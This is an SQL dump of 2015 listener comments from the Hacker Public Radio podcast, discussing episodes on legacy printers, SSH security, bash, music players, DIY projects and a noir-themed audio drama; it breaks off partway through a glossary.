(1302,1864,'2015-10-05 18:35:31','turtle','','Nice show.\r\nHere is a Cups ppd for the DEC LN03\r\nhttps://www.openprinting.org/printer/DEC/DEC-LN03\r\nHere is the manual for it https://vt100.net/docs/0ln03-ug/ \r\nAll you need is a usb to serial adapter. Looking forward to hearing about getting it running and putting that on the pi with the other printer.\r\nCheers\r\nTurtle\r\n\r\n','2022-02-14 13:17:26'),
(1303,1864,'2015-10-06 15:03:47','Dave Morriss','DEC-LN03','Thanks Turtle,\r\n\r\nI had not got as far as checking drivers and manuals. Very useful.\r\n\r\nFrom my initial researches I wasn\'t sure whether a serial adapter could drive the printer. I don\'t know if it needs flow-control for example. However, I shall continue to investigate.\r\n\r\nI also have a 132-column matrix printer somewhere in the attic, but I think it has a Centronics parallel connector, so I suspect that could be challenge to get working! ','2017-09-09 07:41:27'),
(1304,1864,'2015-10-07 14:38:43','Bob Evans','connecting to legacy printers','Hi Dave,\r\n Thanks for the timely episode.  I am considering using a pi to serve my HP LJ-2200 printer to my home network.\r\n\r\nThe DEC LN03 uses RS-232/RS-422 for the serial connection.  You should be able to use a USB-to-serial converter.  I used an LN03 with PC clones and was able to run the serial link as fast as 19200 baud.  User manual will indicate how to set serial parameters via dip switches near the data connector.\r\n\r\nI suggest verifying the print engine still works by printing a few test pages before trying to connect to a computer.  I think there is a small square white button on the back that initiates printing of a test page.\r\n\r\nIt is probably difficult now to get toner or replacement parts like feed rollers for the LN03.  When a nylon gear inside my LN03 fractured, I finally ditched that printer -- after about 20 years of use in a home office.\r\n\r\nBe aware that there are a few different LN03 models.  Mine was a rare \"image\" printer that would only accept postscript.  The model will determine what driver and settings you need to use.\r\n\r\nThe LN03 always keeps the fuser unit hot.  This is a big power consumer and harsh to the mechanics that transport paper and the photo-sensitive band.\r\n\r\nThere used to be USB to parallel converters available for purchase.  If you can find one of those you might be able to easily connect to the matrix printer.\r\n\r\n- Bob Evans','2017-09-09 07:41:27'),
(1305,1864,'2015-10-07 19:16:01','Dave Morriss','Re: connecting to legacy printers','Thanks for the information Bob.\r\n\r\nI haven\'t checked the LN03 works yet, and it might not since it\'s so old. I\'m pleased to hear there\'s a good chance of running it from the Pi if it does though.\r\n\r\nThe university I worked at bought a pair of LN03\'s with a VAXcluster in 1987, and I had the job of setting them up back then under VMS. I\'m pretty sure neither of them were \"image\" printers. We later bought an LPS17 I think, and a LPS32, much faster higher volume printers with duplexers. I didn\'t offer to take them home when they were phased out though :-)\r\n\r\nI might have some supplies with the printer, but not much of anything, so it might be a short-lived experiment even if it does still print.\r\n\r\nI need to check out the matrix printer as well, though I don\'t really have a use for it any more, and only one box of line-printer paper!','2017-09-09 07:41:27'),
(1306,1866,'2015-09-28 21:57:05','Frank','','Absolutely delightful!','2017-09-09 07:41:27'),
(1307,1866,'2015-10-05 16:53:29','combiner','','Yeah, It\'s not awkward. It\'s just as natural as a podcast can be and a real bliss. Please keep it up. Someone in the Urals is waiting for more stuff like this.','2017-09-09 07:41:28'),
(1308,1867,'2015-10-07 08:21:48','amunizp','3D print','Great program thanks.\r\nLutzbot is open hardware the otherone I think not.\r\nStl files as far as I know are not editable (binaries) problem of open washing in websites. Original CAD not available. Use freeCAD to do more.\r\nMagnet: use a tight tolerance to go in but use a larger chamber inside.','2017-09-09 07:41:28'),
(1309,1870,'2015-10-06 18:45:32','kdmurray','SSH Passwords','Just a quick clarification on a point made just after the 14m mark with regards to remote login to the SSH server from the Internet. Ahuka makes the comment that \"you\'re transmitting the password in the clear.\"\r\n\r\nAccording to the SSH man page all communications between the client and server, including password verification, are done using public key encryption.\r\n\r\n\"Finally, if other authentication methods fail, ssh prompts the user for a password. The password is sent to the remote host for checking; however, since all communications are encrypted, the password cannot be seen by someone listening on the network.\"\r\n\r\nWhen using an open and (possibly hostile network) something to keep in mind is to watch for the warning that the server\'s certificate fingerprint has changed. If this comes up for a server you use regularly be very, very suspicious.\r\n\r\nLove hearing about the security stuff. Keep it going! :)','2017-09-09 07:41:28'),
(1310,1870,'2015-12-10 08:19:51','0xf10e','yepp, no cleartext','1st thing is DH key exchange, basically \"no that we speak privately and securely let me tell you who I [the server] am\". Think about it. Any other way would leave the client open to a MitM spoofing the server\'s keys.\r\n\r\nBut, of course, when you ignore the changed fingerprint on the server you won\'t know who is receiving your credentials.\r\nWith pubkey auth you don\'t have to worry about losing anything usable to impersonate you. Also makes brute force login attempts infeasible due to the vast number of possible keys.','2017-09-09 07:41:28'),
(1311,1874,'2015-09-28 04:18:26','droops','Thanks','Thank you again Ken for keeping all of this together and thank you to everyone who has recorded and episode and truly been a part of the HPR community. It would not exist without you. ','2017-09-09 07:41:28'),
(1312,1874,'2015-10-08 15:15:39','J.','','Wow, as a public school survivor, hearing all about your class makes me a little envious to be honest.\r\n','2017-09-09 07:41:28'),
(1313,1874,'2015-10-13 13:19:37','Dave Morriss','I loved this interview','I really enjoyed this. Congratulations and thanks Ken. \r\n\r\nIt was great to understand more about the history of HPR, and to get further insight into who the founders were, and what their motivation was.\r\n\r\nAnd droops - you sound like a hell of a teacher :-)','2017-09-09 07:41:28'),
(1314,1878,'2015-12-29 04:40:53','Erik','Commands','Would you be able to detail the commands you use for the luks encrypted ISO?','2017-09-09 07:41:28'),
(1315,1880,'2015-10-16 13:39:53','Mike Ray','Great show','Great show Klaatu.  Really enjoy anything about Arduino and general fiddling about with electronics.\r\n\r\nCurrently mucking about with RF transmitter and receiver modules and have considered using XBee.  So this show was of interest.','2017-09-09 07:41:28'),
(1316,1881,'2015-10-19 20:24:03','Fin','Music fail','Why did the default theme play at the end, when clacke\'s a capella version was so good!\r\n\r\nInteresting journey BTW. The audio wasn\'t that bad.','2017-09-09 07:41:28'),
(1317,1881,'2015-10-23 16:00:35','Dave Morriss','Great episode','This was a very interesting show. I knew very little of what you spoke about, never having had an Amiga, nor having used dial-up with Linux. Thanks for the insight.','2017-09-09 07:41:28'),
(1318,1881,'2015-10-26 11:35:10','clacke','Thanks','Cool! Glad I added something new. I was worried that yet another Linux backstory might be redundant, but I guess everyone comes from their own direction.','2017-09-09 07:41:28'),
(1319,1884,'2015-10-27 19:07:10','Frank','','Thank you, Dave.  A very nice piece of work.\r\n\r\nI\'ve been trying to understand regular expressions (I guess because I like puzzles).  In addition to giving me a better understanding of bash, the examples you gave show similarity with some regular expression syntax, which in turn gives some context to regular expression syntax, so that it does not seem to be quite so foreign a language.\r\n','2017-09-09 07:41:28'),
(1320,1884,'2015-10-27 19:49:37','Dave Morriss','Thanks Frank, glad you enjoyed it','The regular expression subject is a complex one. I\'ve been wondering whether I should try and pass on what I know about it. \r\n\r\nStrictly this brace expansion topic is in the area of using patterns to match filenames. Confusingly this is similar but not the same as regular expressions. In later episodes in this (not-)series I want to talk more about filename matching then look at regular expressions in the context of Bash.\r\n\r\nReally, the regular expression subject could (should?) be stand-alone and should look at what\'s available in Bash, grep, sed, awk, etc. I use Perl regular expresions the most but I hesitate to go too deep there because they are mind-blowing :-)','2017-09-09 07:41:28'),
(1321,1884,'2015-10-28 22:01:14','Frank','','Indeed regular expressions are complex.  They make my brain hurt.\r\n\r\nSeeing some kinship with shell commands--some indication that whoever perpetrated regex did not just make it up from the whole cloth--is somehow comforting.\r\n\r\nI recently stumbled over a great *beginner\'s* tutorial.\r\nhttps://www.digitalocean.com/community/tutorials/using-grep-regular-expressions-to-search-for-text-patterns-in-linux#basic-usage\r\n\r\nWhat makes it so good is that it uses the GPL text found on every Linux computer for the exercises, so you can practice the examples and try different options as you read along.','2017-09-09 07:41:28'),
(1322,1884,'2015-10-29 11:44:38','Dave Morriss','Regular expressions','I skimmed through that tutorial, and it looks very good. Thanks for the pointer.','2017-09-09 07:41:28'),
(1323,1887,'2015-11-08 21:50:51','Bob Jonkman','Aerating boiling water','Hi JustMe: You mention that boiling the water will aerate it. Actually, just the opposite is true: Heating the water drives out the dissolved air, since gases are more soluble in cold liquid than hot liquid. Think of a carbonated soda, which is bubbly when it comes out of the fridge, but goes flat as it warms up.\r\n\r\nThe bubbles you see in water at a roiling boil is actually water vapour, the water itself turned to gas. If this gas cools it just becomes liquid water again. When you let boiled water cool down to drinking temperature it has a peculiar flat taste, which I think is because it has less dissolved air than fresh water from a mountain stream.  If you vigorously stir previously boiled water with a whisk it\'ll re-aerate it, and remove some of that peculiar flat taste.\r\n\r\nThanx for the episode!\r\n\r\n--Bob, who needs to record his own HPR episode','2017-09-09 07:41:28'),
(1324,1889,'2015-10-30 05:48:08','GNULinuxRTM','Execellent Episode.','Just listened while walking the Dog, on a cloudy, spooky night days before Halloween.\r\n\r\nLoved the delivery and working in all the HPR references.\r\n\r\nNow I gotta learn more about the meegopad T-02.','2017-09-09 07:41:28'),
(1325,1889,'2015-10-30 10:38:34','Jon Kulp ','Tremendous! ','Loved it! The HPR answer to Guy Noir, Private Eye. Looking forward to the follow-up. Nice work! ','2017-09-09 07:41:28'),
(1326,1889,'2015-10-30 12:35:52','Fin','Fantastic!','Fantastic production quality! More of the same please!','2017-09-09 07:41:28'),
(1327,1889,'2015-10-31 08:01:32','A Shadowy Figure','Like your work as well GNULinuxRTM',' Gotta admit, I\'ve never seen RTM without the other letter following the \"T\". \r\nThe Meegopad T-02 doesn\'t quit fulfill it\'s promises, but can be useful for limited purposes.\r\nI\'d wait to hear my follow up episode, before thinking seriously about owning one.\r\n\r\n  Btw, I enjoy your delightfully cheesy transitions on your show.\r\nGood job over all. \r\n\r\n\r\n May stochasticity fall in your favor,\r\n\r\nA Shadowy Figure','2017-09-09 07:41:28'),
(1328,1889,'2015-11-02 23:37:03','A Shadowy Figure','Wow, Just Wow..',' I\'m humbled to be mentioned in the same breath as the mighty Guy Noir Private Eye, especially coming from one of HPR\'s heavy hitters. Thank you John.\r\nI was apprehensive about posting this episode  being as the idea of background music wasnt well received, and I didn\'t want to ruffle any feathers among the listenership, or those I poked fun at.\r\nI just wanted to share something entertaining, and have fun doing it.\r\nPre-production on the follow-up episode has already begun. :-)\r\nExpect more of the same.\r\nIt ought to be fun.\r\nAnd thanks for all of your support.\r\nNow wear did I put my trench coat? (can\'t write noir without a fedora and trench coat, ya know.)\r\n','2017-09-09 07:41:28'),
(1329,1889,'2015-11-03 20:31:54','Anon','Ocean Club...','My name is Norman -- Lou Norman\r\nI\'ve been in this business for 15 years\r\nIf people have a problem and don\'t want to talk to the police\r\nThey want to talk to me....\r\n\r\nKeep up the good work. ','2017-09-09 07:41:28'),
(1330,1889,'2015-11-04 15:37:55','CPrompt^','Fantastic!','Loved loved loved this show!  Very well put together.  Certainly raised the bar on the level of shows.\r\n\r\nGreat job and please do more!!!','2017-09-09 07:41:28'),
(1331,1889,'2015-11-04 22:10:08','Frank','','As a both a mystery buff and a fan of OTR mystery shows, I found this absolutely delightful.\r\n\r\nIt was a cross between Barry Craig and Sam Spade.','2017-09-09 07:41:28'),
(1332,1889,'2015-11-05 02:38:33','David Whitman','Nice','Enjoyed this show. Thanks for the mention! ','2017-09-09 07:41:28'),
(1333,1889,'2015-11-05 03:30:41','Dennis Blanchard','Good job on mysterious technology.','Competition for A Prairie Home Companion - Guy Noir: Private Eye? Well done Mr. X. Whoda thunk that technology could be a mystery? I\'d write more but my Heathkit tubes have finally warmed up and I have a ham radio sked to meet.','2017-09-09 07:41:28'),
(1334,1889,'2015-11-05 23:05:43','(Mad Dog?) Dave Morriss','Brilliant!','You really had me laughing at the dramatisation. Very cleverly done. \r\n\r\nAnd there\'s a glossary of terms! Beautiful :-) ','2017-09-09 07:41:28'),
(1335,1889,'2015-11-08 22:42:33','REL','Mr','I think I just burst a valve...','2017-09-09 07:41:28'),
(1336,1889,'2015-11-09 09:35:41','A Shadowy Figure','Production has began on Pt.2','I really didn\'t take into consideration that this little project of mine would be so well received, so I was completely caught off guard when it came to creating Pt.2\r\nI was expecting to just do a straight run through on getting the T-02 up and running without even thinking about gathering more sound effects ect., then crafting something that resembles a coherent script.\r\nSo the follow up will take me about a weak or so to put together, then maybe another couple of days to tweak and edit. \r\nThe end result should be pretty cool. \r\nBut, I can see already the \"story\" is beginning to take precedence over the technical details of the Meegopad T-02, so it\'s likely there will be a Pt.3. (which will specifically address those details)\r\nIt ought to be worth it though.\r\n\r\nOh and as a heads up, every decent story requires a nemesis and/or villain or at least some sort of adversary as well as allies, so please don\'t take it personal if your  nick get\'s cast as one of the \"bad guy\'s\".\r\nMore than likely, the cooler you are, the more despicable your character will be for absurditys sake.\r\nIt\'s all in fun, and no disrespect is intended.\r\n\r\n   But generally speaking, the more shows you record, the more likely you are to find your nick in a smoky pool hall or horse racing track in a future episode or series I post.\r\n\r\n but I really want to hear, is what you\'ve got to share.\r\n\r\n  Thank you all for your support, it is quite encouraging.\r\n\r\n      You\'ll hear from me soon.\r\n\r\n   A Shadowy Figure','2017-09-09 07:41:28'),
(1337,1890,'2015-10-30 13:27:58','Jon Kulp ','Up with the $2 lapel mic! ','Sound quality was terrific, Dave.  so glad you recorded this show and also really glad that my recommendation of the $2 microphone was so useful to you. My son and I listened to this episode while I was driving him to school and we were both totally cracking up at your son. Very funny stuff!','2017-09-09 07:41:28'),
(1338,1890,'2015-10-31 18:45:21','Mike Ray','Audio Quality','I can\'t agree with your comments about audio quality.\r\n\r\nThe \'anything is better than nothing\' mantra is quite correct IMHO.\r\n\r\nA requirement to strive for BBC quality is likely to discourage people.  Even more so a suggestion to use some kind of online audio-enhancing service.\r\n\r\nIf you can\'t hear a podcast because you\'re driving a noisy car I suggest you listen to it when you aren\'t.\r\n\r\n','2017-09-09 07:41:28'),
(1339,1890,'2015-11-03 11:52:57','Jon Kulp','Better is better','Sorry but I agree with Dave on this one. Audio quality shouldn\'t be a barrier to submission, but everyone should aspire to make recordings that are 1) clearly audible at normal playback volume and 2) are not distorted or clipping. These criteria do not exactly constitute BBC-level standards. I don\'t care that much in the end. If the audio quality doesn\'t meet my 2 (very basic) criteria, I just delete that episode and wait til the next day for another one. \r\n\r\nIncidentally Auphonic is an excellent tool that can help with this and requires no technical expertise. I\'m not advocating it necessarily, but it\'s one very easy way to improve audio. ','2017-09-09 07:41:28'),
(1340,1892,'2015-11-03 12:11:24','Jon Kulp ','Some Fowl Commentary','Genius as always! Loved the comments from your fowl wards...','2017-09-09 07:41:28'),
(1341,1892,'2015-11-03 15:47:15','Mike Ray','Kernel Sanders','Great episode.\r\n\r\nBut what happens if not all chickens are inside when the door shuts?  Or, worse, the door shuts while a chook is standing on the threshold?\r\n\r\nMaybe a keypad on the outside of the door which they could peck for entry?','2017-09-09 07:41:28'),
(1342,1892,'2015-11-05 18:15:34','jezra','','If it is dark outside, yet light inside of the coop, all of the birdies will be in the coop. \r\n\r\nAny bird that isn\'t in the coop when the door closes will be outside for the night and may end up being a meal for a raccoon, skunk, fox, coyote, or other predator. \r\n\r\nIf a bird is standing in the doorway when the door slides closed, there will be a \"door close error\" and I will receive a text message as well as an email.  The 12V car antenna isn\'t powerful enough to crush whatever is in the doorway. ','2017-09-09 07:41:28'),
(1343,1894,'2015-11-15 22:02:56','Steve Bickle','Exellent episode','This is one of my favourite HPR episodes. An amazing project, fantastic interview, fascinating content. Just want to say thanks to Ken and to both the interviewees. I listen to around 50 podcast and this was my podcast highlight of the week.','2017-09-09 07:41:28'),
(1344,1894,'2015-11-16 09:18:34','Dave Morriss','Great interview, great project','This was a fascinating episode. Thanks.\r\n\r\nI wasn\'t aware that mosquitoes were particularly prevalent in the Netherlands. I sympathise with the allergy issue; I am also allergic to bites but thankfully not to UK species (yet), and I don\'t think there are many in Scotland (yet). I was also unaware that there are mosquito species in the UK which are potential disease vectors - just waiting for the diseases to arrive?\r\n\r\nThere\'s an urgent need for new action against mosquito-borne diseases. I was listening to a podcast about the worrying growth of mosquito resistance to bed nets treated with pyrethroid insecticides just the other day. The technology discussed here which allows particular mosquito species to be recognised by their sound is very impressive. I hope it provides the information needed to understand the problem and to improve control.\r\n','2017-09-09 07:41:28'),
(1345,1894,'2015-12-10 23:49:21','Clinton Roy','','Great episode. Humbug is the name of my local unix group as well. ;) We have mozzies here in Brisbane by the truck load, ross river fever is probably the best known issue they give. Chickungunya just north in Indoensia is awful, you basically feel like you\'ve got arthritis in all your joints for a few months.','2017-09-09 07:41:28'),
(1346,1896,'2015-11-26 03:04:08','Eric Duhamel','Other ideas','anakep had another suggestion. \"I designed ~/.files.d to organize all my software and files.\r\nall my daemon-sotware, personnal code, backups, auto-backups.\"','2017-09-09 07:41:28'),
(1347,1896,'2016-02-01 16:11:13','Boclodoa','','I have a directory for this purpose too, the name has changed several times, currently is \"code_from_beyond\", beyond my repo. It is too long, maybe it will change to codefb or something like that.\r\n\r\nI totally agree with the need of some directories which are not touched by the system, but only by the user.\r\n\r\nI don\'t like .files.d very much because it feels too generic for me.','2017-09-09 07:41:28'),
(1348,1897,'2015-11-11 02:22:24','Guy Watkins','Update the firmware','Sometimes a firmware update will add features to a motherboard.  Like newer CPU support and more RAM support.  So, see if a firmware update will allow you to go to 32GB.\r\n\r\nGuy','2017-09-09 07:41:28'),
(1349,1897,'2015-11-11 06:21:16','m l hunt','Enjoyed your show.','I enjoyed your piece on an informational basis. And it\'s nice to hear someone from my neck of the woods, more or less (grew up in the Richmond area). Hope to hear from your again.','2017-09-09 07:41:28'),
(1350,1898,'2015-11-11 01:48:44','A Shadowy Figure','By-Tor and the Snow Dog Approve','Thanks Alpha32,\r\n\r\n I never bothered to put any music on my Macbook Pro, but I\'ve got a ton of archived podcasts on there I could transfer over to my external storage.\r\nThanks for the tip.','2017-09-09 07:41:28'),
(1351,1898,'2015-12-20 14:04:17','Frank','','Out of curiosity (I have never used a Mac): why do you need root to copy your own files?\r\n\r\nPS: to copy a file with space in the name, either escape the space with a preceeding backslash or enclose it in quotes.','2017-09-09 07:41:28'),
(1352,1902,'2015-11-23 12:12:09','Dave Morriss','Nice list','Hi Fin,\r\n\r\nThanks for this list. There were some good items in there that I\'d never come across before.\r\n\r\nHaving been wrangling Unicode recently I like what gucharmap offers.\r\n\r\nI use Okular for PDF viewing, but evince\'s annotation features are interesting. It\'s apparently available as \"Document Viewer\" under Xfce (which I currently use).\r\n\r\nPlenty of things to explore!','2017-09-09 07:41:28'),
(1353,1902,'2015-11-28 12:13:00','zloster','Nice list','I also would like to thanks for this list. I also use a lot of these programs.\r\nSome addition to the list could be: transmission-remote-gtk (www.webupd8.org/2011/12/transmission-remote-gtk.html) - if you want to manage the transmission-daemon running on remote machine and you don\'t like the build-in web-interface.','2017-09-09 07:41:28'),
(1354,1903,'2015-11-19 06:56:24','Ken Fallon','Another gem','Never knew this was possible.\r\n\r\nexcellent+=hpr1903\r\n\r\nSee what i did there','2017-09-09 07:41:28'),
(1355,1903,'2015-11-23 11:28:23','Dave Morriss','Thanks Ken','Glad you got something out of this. Bash is surprisingly rich in features considering it\'s a command-line interpreter.','2017-09-09 07:41:28'),
(1356,1904,'2015-11-20 04:49:12','b-yeezi','Thanks','Great show. Thanks for the valuable information. I\'m not a system admin, but I am a full time Linux user that sometimes has to use a Windows PC for work. It\'s great to get some Windows command line basics from a trusted source, as searching for such commands online can lead to seedy websites. Keep up the great content!','2017-09-09 07:41:28'),
(1357,1904,'2015-11-25 17:10:08','Frank','','I add my thanks.   ','2017-09-09 07:41:28'),
(1358,1906,'2015-11-28 20:11:31','Dave Morriss','Some interesting packages','I was intrigued by Phatch and installed it to try out.\r\n\r\nIt\'s intriguing though a bit counter-intuitive (for me anyway) since it seems to start by assembling a tool chain, which I didn\'t expect.\r\n\r\nI then had difficulty working out how to apply the chain to some images. I shall persevere!\r\n\r\nI also tried xstarfish and like what it produces.\r\n\r\nThanks for pointing these out.','2017-09-09 07:41:28'),
(1359,1906,'2015-12-01 22:26:52','Windigo','Re: Phatch','It\'s definitely not a terribly intuitive interface. I think it applies all of the actions you add (in order) to each of the images, but you have to be *very* explicit when assembling your chain.\r\n\r\nMaybe I\'ll do a more in-depth show on how phatch works. Hmm...','2017-09-09 07:41:28'),
(1360,1906,'2015-12-02 09:54:42','Dave Morriss','Re: Phatch','Phatch seems to have a lot of potential. I can see a use for it myself; I like to assemble several pictures for HPR episodes, and I want to do things like strip metadata, shrink the size and make thumbnails. I can see that this might be possible but knowing how is the barrier. I looked at the documentation but it seems to be very short of actual instructions!\r\n\r\nSo, I know iPhatch is all about \"Do Stuff To Stuff\". I\'ve understood the \"Do Stuff\" phase a little, but find the \"To Stuff\" part cryptic.\r\n\r\nIf you\'ve mastered it yourself a show about your experiences would be great!','2017-09-09 07:41:28'),
(1361,1907,'2015-11-25 20:11:06','Jonathan Kulp ','Excellent ','Loved this interview and the project. Wish it had been a bit longer. :)','2017-09-09 07:41:28'),
(1362,1907,'2015-12-23 11:42:09','Charles in NJ ','Penn Manor','What Charlie &amp; the amazing students of the Penn Manor school district have managed to create is truly inspiring. \r\n\r\nYou should drop everything for 5-1/2 minutes to catch Charlie\'s TEDx Talk on YouTube:\r\n\r\nhttps://m.youtube.com/watch?v=f8Co37GO2Fc\r\n','2017-09-09 07:41:28'),
(1363,1908,'2015-11-28 22:01:21','Dave Morriss','Loved this!','A very cool project.\r\n\r\nI\'m in envy of your students.','2017-09-09 07:41:28'),
(1364,1909,'2015-11-26 09:49:54','Mike Ray','Calibre cli','Good show John.\r\n\r\nAmusing to hear one or two questioners at the end really struggling with the concept of doing \'something for nothing\'.  Thought she might call you a communist :-)\r\n\r\nHow about a show talking about how you use Calibre\'s command-line to create your books?  I\'m curious about how to create ePub books from either plain text, markdown or HTML','2017-09-09 07:41:28'),
(1365,1909,'2015-11-26 12:57:03','Jonathan Kulp ','Valuing Musicians','Haha true she wasn\'t crazy about the \"free\" aspect, but to be fair, musicians face an ongoing struggle against people undervaluing their skills, whether it be someone balking at the \"outrageous\" price for private lessons or the \"scandalous\" fee to play at a wedding. People think music is all fun and games, but for professionals it\'s hard work, a highly specialized skill developed over many years. I think her questions were coming from the perspective of someone fighting to make sure musicians\' skills are properly valued. I get this.\r\n\r\nI\'ll definitely do a show about calibre conversions, both with the GUI and the CLI. Thanks for the comments!','2017-09-09 07:41:28'),
(1366,1909,'2015-11-27 02:02:14','b-yeezi','Great show','Thanks for sharing this presentation. I enjoyed the entire thing and will use some of your ideas in my own projects. I especially enjoyed your explanations of creative commons and free software in a way that was clear and accurate, but not too preachy. These concepts are so foreign to some people that is entertaining to hear their reactions when they are exposed to free culture. \r\n\r\nThanks again and I am looking forward to your next show.','2017-09-09 07:41:28'),
(1367,1909,'2015-12-01 18:12:59','Frank','','Though it\'s been a long time since I have to buy one, I fully share your sentiments about the college textbook industry.  The publishers block the paths of learning, raise their flintlocks at students, and cry \"Stand and deliver.\"','2017-09-09 07:41:28'),
(1368,1910,'2015-11-28 04:24:34','Matt','I didn\'t know this project existed.','Great episode! I\'m a long time Winamp fan too. I also like Qt based applications that are cross-platform. Thanks!\r\n','2017-09-09 07:41:28'),
(1369,1910,'2015-11-28 17:54:36','Frank','Thanks','Glad you enjoyed it.\r\n\r\nThere\'s one thing I forgot, even though it was in my notes.  Qmmp can be a little strange about playing URLs that have funky characters, such as parentheses, in them.  Some of the old-time radio sites, most of which are hobbyist sites, have some very unusual URLs for the individual OTR episodes, mostly because the maintainers try to squeeze too much information into them.  \r\n\r\nI sometimes end up falling back to XMMS, which still comes bundled in Slackware, praise Bob! for those.','2017-09-09 07:41:28'),
(1370,1910,'2015-11-29 19:28:53','Audiobooks lover','','I discovered this site randomly.. dont know where I can clicking and kept clicking... lols, but I am glad I did\r\n\r\nThank you for the great review. Obviously had heard of Winamp, but never Qmmp!! Trying it out right now\r\n','2017-09-09 07:41:28'),
(1371,1910,'2015-12-02 12:49:43','Dave Morriss','Nostalgia','I used Winamp back when I couldn\'t avoid using Windows at work, and XMMP was my player of choice on Linux for a number of years. I tried Qmmp and it reminded me very much of those days. I\'m not sure I\'m going to use it, given that I\'m quite happy wtih Clementine, but it was nice to feel a bit of nostalgia. Thanks','2017-09-09 07:41:28'),
(1372,1910,'2015-12-03 05:04:48','Frank','','\"it was nice to feel a bit of nostalgia\"\r\n\r\nMake me feel old, will you?:)\r\n\r\nWell, I am old, but I will never be a \"senior.\"  I will be a cranky old man.   You young whippersnappers and your new-fangled media players . . . .','2017-09-09 07:41:28'),
(1373,1914,'2015-12-04 20:32:42','Windigo','One-upped','Nothing puts your crappy bash alarm clock into perspective like dynamic lighting and aesthetic music.\r\n\r\nDoes a roomba carry you a cup of coffee in the morning?','2017-09-09 07:41:28'),
(1374,1916,'2015-12-21 17:46:37','Charles in NJ ','Experts Exchange','Gotta love a site that lets you add content for free, and then charges you to reference it later.\r\n\r\nBy the way, it is amusing to see what you get when you remove the hyphen in the URL:\r\n\r\nExpert Sex Change\r\n\r\nCan\'t make this stuff up.','2017-09-09 07:41:28'),
(1375,1917,'2015-12-09 02:56:00','Jon Kulp ','A possible outlet','Thanks for this great interview, now I\'m thinking about possible article topics...','2017-09-09 07:41:28'),
(1376,1918,'2015-12-25 12:19:14','Frank','','I use a play queue in cmus. Once that queue (around 20-25 minutes) is done, cmus goes back to random library playback.\r\n\r\nHere\'s the catch: what if the random piece after the classical music is also classical? In such a case you would not notice that it is time to get up, which is a problem I regularly encounter. I can\'t (and not really want) to have two different collection just to keep the two apart.','2017-09-09 07:41:28'),
(1377,1919,'2016-02-17 15:19:00','Otto  Localhorst','a template for a \'loid\'','I would like to look at the template in search of something useful to print with a 3D printer, but I am not able to find the link (or the shownotes for the episode?). Could you please help me?','2017-09-09 07:41:28'),
(1378,1924,'2015-12-17 01:39:58','Kevin O\'Brien','Great show!','I am really happy that my friend Fifty One-Fifty  has continued the conversation on this topic. It is just what I love to see on HPR. It is like listening in on the conversation we might have had together at a conference.','2017-09-09 07:41:28'),
(1379,1928,'2015-12-25 03:19:13','A Shadowy Figure','Nice mix Cov','Thanks for sharing, I found the line up of different genre\'s refreshing.\r\n\r\n Looking forward to your next show.','2017-09-09 07:41:28'),
(1380,1928,'2015-12-31 13:43:07','tcuc','nice, i cant &aring; wait for more.','I have heard a few episodes showcasing good creative Commons music. And I like having an easy way to listen to curated CC music&#x1F609; keep\'em coming&#x1F60A;','2017-09-09 07:41:28'),
(1381,1928,'2015-12-31 14:29:38','David L. Willson','Yes','I ran to my desk at work to thank you for bringing me Billy Korg\'s problem.\r\n\r\nThank you for the excellent jams, Cov.','2017-09-09 07:41:28'),
(1382,1929,'2015-12-25 00:00:30','A Shadowy Figure','Thank you for this timely episode','Heya Dr. Kulp,\r\n\r\nI just wanted to take a minute out to say, These are the sort of episodes I \"tune\" in for.\r\nFor one, there informative. And secondly, their entertaining.\r\n\r\nBut as for the Flashlight, Would you take a chainsaw resistant desk for it?\r\n\r\n    ','2017-09-09 07:41:28'),
(1383,1930,'2015-12-29 23:01:07','Frank','','Nicely done.  I do appreciate the big picture overview; it provides a context and frame of reference that many stories I\'ve read about SystemD do not.','2017-09-09 07:41:28'),
(1384,1931,'2015-12-28 01:34:29','Mysterio2','Great show.','Interesting and informative. Keep em coming!','2017-09-09 07:41:28'),
(1385,1931,'2015-12-28 23:19:14','A Shadowy Figure','Good job','Good job of keeping us interested with with a nice flow of interesting information.\r\n\r\n   Looking forward to more.\r\n\r\n    ','2017-09-09 07:41:28'),
(1386,1932,'2015-12-31 06:10:00','A Shadowy Figure','Good interview','Heya Klaatu,\r\n\r\n Good job of asking questions that get to the point, and following up.\r\n\r\n Looking forward to more  as always,\r\n\r\n  You\'ve got good \"radio\" skills.','2017-09-09 07:41:28'),
(1387,1933,'2015-12-10 20:38:49','lostnbronx','Wow, Thanks So Much!','Fun, irreverent, and sprawling -- you guys are the best!  Featuring \"Street Candles\" for this installment of the Book Club was very much appreciated!\r\n\r\nMy Favorite Quote:\r\n\r\n\"I listened to the wrong d@mn audiobook, and I\'m completely talking out of my @$$!\"\r\n-Pegwole\r\n\r\nThank you to everyone on the show, and to the HPR Community as a whole!','2017-09-09 07:41:28'),
(1388,1933,'2016-01-06 02:30:21','David L. Willson','dangit!','I *was* just about caught up with HPR, but now I\'m several episodes behind while I enjoy the pocket universe lostnbronx has created. This is great stuph.','2017-09-09 07:41:28'),
(1389,1934,'2015-12-16 03:08:38','A Shadowy Figure','Updated Show Notes','\r\n Special thanks to the following individuals from freesound.org for their sound effects used throughout this episode.\r\n\r\n\r\n\r\nRutgermuller \r\n\r\njaredi\r\n\r\nhybrid34\r\n\r\nlintphishx\r\n\r\ntimbre\r\n\r\ncameronmusic\r\n\r\ncr4sht3st\r\n\r\nhusky70\r\n\r\nmojomills\r\n\r\nultradust\r\n\r\nconleec\r\n\r\ningolyrio\r\n\r\ndapperdanial\r\n\r\nrobinhood76\r\n\r\nunfa\r\n\r\nkwahma-02\r\n\r\nstephsinger22\r\n\r\nlonemonk\r\n\r\nreg7783\r\n\r\nHigher quality stereo copies of this episode in .Flac, Ogg, and MP3 format can be found at the following link.\r\nhttps://drive.google.com/folderview?id=0B6BAm4vn8c7QWnZLbnFib0JPc2M&amp;usp=sharing\r\n\r\n\r\n\r\nGlossary of slang terms used in this episode:\r\n\r\n\r\n &ldquo;Came unglued&rdquo; =  going berzerk\r\n\r\n&ldquo;Sang a little song&rdquo; = provided information to law enforcement\r\n\r\n&ldquo;Still&rdquo; = whiskey making apparatus \r\n\r\n &ldquo;Scoring Barbies&rdquo; = Picking up women\r\n\r\n&ldquo;G-Men&rdquo; = Government employees. (Federal agents)\r\n\r\n&ldquo;Makerspace&rdquo; = 3-D Printing facility\r\n\r\n&ldquo;Johnny Law&rdquo; = Law Enforcement\r\n\r\n&ldquo;C-Note&rdquo; = $100.00 bill\r\n\r\n&ldquo;Speakeasy&rdquo; = illegal drinking establishment in prohibition era United States\r\n\r\n&ldquo;68 Chevelle&rdquo; = 1968 Chevrolet 2-door 